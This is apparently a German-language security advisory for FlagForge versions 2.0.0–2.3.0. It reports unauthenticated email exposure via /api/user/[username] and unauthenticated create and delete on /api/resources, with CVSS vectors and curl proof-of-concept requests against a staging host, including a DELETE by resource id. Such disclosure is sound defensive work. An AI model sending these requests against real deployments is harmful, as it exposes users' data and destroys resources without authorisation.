
CVE auf FlagForge in den Versionen 2.0.0 bis 2.3.0. Führen Sie ein Upgrade auf Version 2.3.1 durch, um das Problem zu beheben.
Im Geltungsbereich / Betroffene Anwendung: FlagForge Webanwendung
API-Endpunkt: /api/user/[username]
Details: Der Endpunkt gibt E-Mail-Adressen von Benutzern ohne Authentifizierung zurück. Jeder Benutzername kann öffentlich abgefragt werden.
const user = await UserSchema.findOne({
name: { $regex: new RegExp(`^${username}$`, 'i') }
}).select('name email image totalScore customBadges createdAt role');
// No authentication check is performed
email: user.email, // Exposed publicly
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:P/CR:M/IR:L/AR:L/MAV:N/MAC:L/MAT:N/MPR:N/MUI:N/MVC:L/MVI:N/MVA:N/MSC:L/MSI:N/MSA:N/AU:Y/RE:L
curl "https://staging.flagforge.xyz/api/user/No%20Reply"
Beispielantwort:
{
"success": true,
"user": {
"name": "No Reply",
"email": "<REDACTED>",
...
}
}
Im Geltungsbereich / Betroffene Anwendung: FlagForge Webanwendung
API-Endpunkt: /api/resources
Details:
GET /api/resources macht alle Ressourcen öffentlich zugänglich.
Basierend auf der Code-Überprüfung erzwingen POST- und DELETE-Anfragen keine Authentifizierung oder Autorisierung. Diese Anfragen wurden nicht auf dem Live-System getestet, um Produktionsdaten nicht zu beeinträchtigen.
Beobachtete Header (OPTIONS-Anfrage):
❯ curl -i -X OPTIONS "https://staging.flagforge.xyz/api/resources"
HTTP/2 204
access-control-allow-origin: https://staging.flagforge.xyz
allow: DELETE, GET, HEAD, OPTIONS, POST
cache-control: no-store, no-cache, must-revalidate, proxy-revalidate
date: Thu, 25 Sep 2025 15:03:45 GMT
permissions-policy: geolocation=(), microphone=(), camera=(), payment=()
pragma: no-cache
referrer-policy: no-referrer
server: Vercel
strict-transport-security: max-age=31536000; includeSubDomains; preload
vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
x-content-type-options: nosniff
x-frame-options: DENY
x-matched-path: /api/resources
x-vercel-cache: MISS
x-vercel-id: bom1::iad1::v7k72-1758812623945-4e3fad4b58b4
x-xss-protection: 1; mode=block
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L/E:U/CR:M/IR:H/AR:M/MAV:N/MAC:L/MAT:N/MPR:N/MUI:N/MVC:L/MVI:H/MVA:L/MSC:L/MSI:H/MSA:L/S:N/AU:Y/RE:M/U:Red
curl -X GET "https://staging.flagforge.xyz/api/resources"
Dadurch erhalten Sie die _id der Ressourcen.
curl -X POST "https://staging.flagforge.xyz/api/resources" \
-H "Content-Type: application/json" \
-d '{"title":"Test","description":"Test","category":"Web","resourceLink":"https://example.com","uploadedBy":"tester"}'
curl -X DELETE "https://staging.flagforge.xyz/api/resources?id=<resource-id>"